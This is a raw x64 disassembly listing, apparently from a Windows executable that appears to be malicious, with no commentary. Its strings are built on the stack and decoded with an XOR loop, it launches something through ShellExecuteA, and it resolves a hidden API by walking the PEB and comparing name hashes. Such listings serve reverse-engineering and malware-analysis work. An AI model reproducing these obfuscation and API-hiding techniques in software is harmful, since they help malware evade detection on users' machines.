movdqa xmm1, xmmword [0x1400d0660]
movdqu xmmword [rbp + 0x670], xmm1
movdqa xmm0, xmmword [0x1400d0680]
movdqu xmmword [rbp + 0x680], xmm0
movdqa xmm1, xmmword [0x1400d05b0]
movdqu xmmword [rbp + 0x690], xmm1
movdqa xmm0, xmmword [0x1400d0510]
movdqu xmmword [rbp + 0x6a0], xmm0
movdqa xmm1, xmmword [0x1400d0550]
movdqu xmmword [rbp + 0x6b0], xmm1
movdqa xmm0, xmmword [str.l_lh]
movdqu xmmword [rbp + 0x6c0], xmm0
movdqa xmm1, xmmword [0x1400d0500]
movdqu xmmword [rbp + 0x6d0], xmm1
movdqa xmm0, xmmword [0x1400d04e0]
movdqu xmmword [rbp + 0x6e0], xmm0
movdqa xmm1, xmmword [0x1400d04f0]
movdqu xmmword [rbp + 0x6f0], xmm1
movdqa xmm0, xmmword [0x1400d04d0]
movdqu xmmword [rbp + 0x700], xmm0
movdqa xmm1, xmmword [0x1400d04b0]
movdqu xmmword [rbp + 0x710], xmm1
movdqa xmm0, xmmword [0x1400d0480]
movdqu xmmword [rbp + 0x720], xmm0
movdqa xmm1, xmmword [0x1400d0490]
movdqu xmmword [rbp + 0x730], xmm1
movdqa xmm0, xmmword [0x1400d06b0]
movdqu xmmword [rbp + 0x740], xmm0
movdqa xmm1, xmmword [0x1400d06a0]
movdqu xmmword [rbp + 0x750], xmm1
movdqa xmm0, xmmword [0x1400d0610]
movdqu xmmword [rbp + 0x760], xmm0
movdqa xmm1, xmmword [0x1400d0670]
movdqu xmmword [rbp + 0x770], xmm1
movdqa xmm0, xmmword [0x1400d05a0]
movdqu xmmword [rbp + 0x780], xmm0
mov dword [rbp + 0x790], 0xa8bcbbad
mov word [rbp + 0x794], 0xfc
mov byte [rbp + 0x796], 1
mov rcx, r13
lea eax, [rcx - 0x62]
xor byte [rbp + rcx + 0x660], al
inc rcx
cmp rcx, 0x135
jb 0x140071650
mov byte [rbp + 0x796], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x660]
xor ecx, ecx
call r11
jmp 0x1400716e0
lea r8, [rbp + 0x910]
cmp rbx, 0x10
cmovae r8, rdi
mov dword [rbp - 0x54], 0xcfc5eff1
mov word [rbp - 0x50], 0x100
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x54], al
inc rcx
cmp rcx, 4
jb 0x1400716b0
mov byte [rbp - 0x4f], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, [rbp - 0x54]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071776
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x11eafe5e
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140071771
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140071750
cmp r8d, 0x6c0771e6
je 0x14007177b
test r9d, r9d
jne 0x140071730
mov rax, qword [rax]
jmp 0x140071700
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
mov r8, qword [rbp + 0x928]
cmp r8, 0x10
jb 0x1400717ba
inc r8
mov rdx, qword [rbp + 0x910]
lea rcx, [rbp + 0x910]
call fcn.140042c30
mov qword [rbp + 0x920], r13
mov qword [rbp + 0x928], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x910], 0
mov rcx, qword [rbp + 0x930]
test rcx, rcx
je 0x140071828
mov rdx, qword [rbp + 0x940]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071811
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071811
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x930], xmm0
mov qword [rbp + 0x940], r13
mov rax, qword [rbp + 0xa30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xa30], rax
mov rax, qword [rbp + 0xa30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xa2c], edx
lea rcx, [rbp + 0xa48]
call fcn.140060fe0
lea rcx, [rbp + 0xa50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xac8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x9b0]
cmp rdx, 0x10
jb 0x1400718c5
inc rdx
mov rcx, qword [rbp + 0x998]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400718c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400718c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x9a8], xmm0
mov byte [rbp + 0x998], 0
movzx edx, byte [rbp + 0x8f8]
lea rcx, [rbp + 0x900]
call fcn.1400694e0
nop
mov rdx, qword [rbp + 0x960]
cmp rdx, 0x10
jb 0x140071934
inc rdx
mov rcx, qword [rbp + 0x948]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007192f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007192f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
mov qword [rbp + 0x958], r13
mov qword [rbp + 0x960], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x948], 0
mov rdx, qword [rbp + 0xa10]
cmp rdx, 0x10
jb 0x140071991
inc rdx
mov rcx, qword [rbp + 0x9f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007198c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007198c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0xa08], xmm0
mov byte [rbp + 0x9f8], 0
mov rdx, qword [rbp + 0x9d0]
cmp rdx, 0x10
jb 0x1400719ec
inc rdx
mov rcx, qword [rbp + 0x9b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400719e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400719e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
mov qword [rbp + 0x9c8], r13
mov qword [rbp + 0x9d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9b8], 0
mov rdx, qword [rbp + 0x980]
cmp rdx, 0x10
jb 0x140071a49
inc rdx
mov rcx, qword [rbp + 0x968]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071a44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071a44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
mov qword [rbp + 0x978], r13
mov qword [rbp + 0x980], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x968], 0
mov rdx, qword [rbp + 0x9f0]
cmp rdx, 0x10
jb 0x140071aa7
inc rdx
mov rcx, qword [rbp + 0x9d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071aa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
nop
mov rax, qword [rbp + 0x218]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0xb98]
mov qword [rcx], rax
mov rcx, qword [rbp + 0xb30]
xor rcx, rsp
call fcn.1400c9ee0
lea r11, [rsp + 0xc70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
int3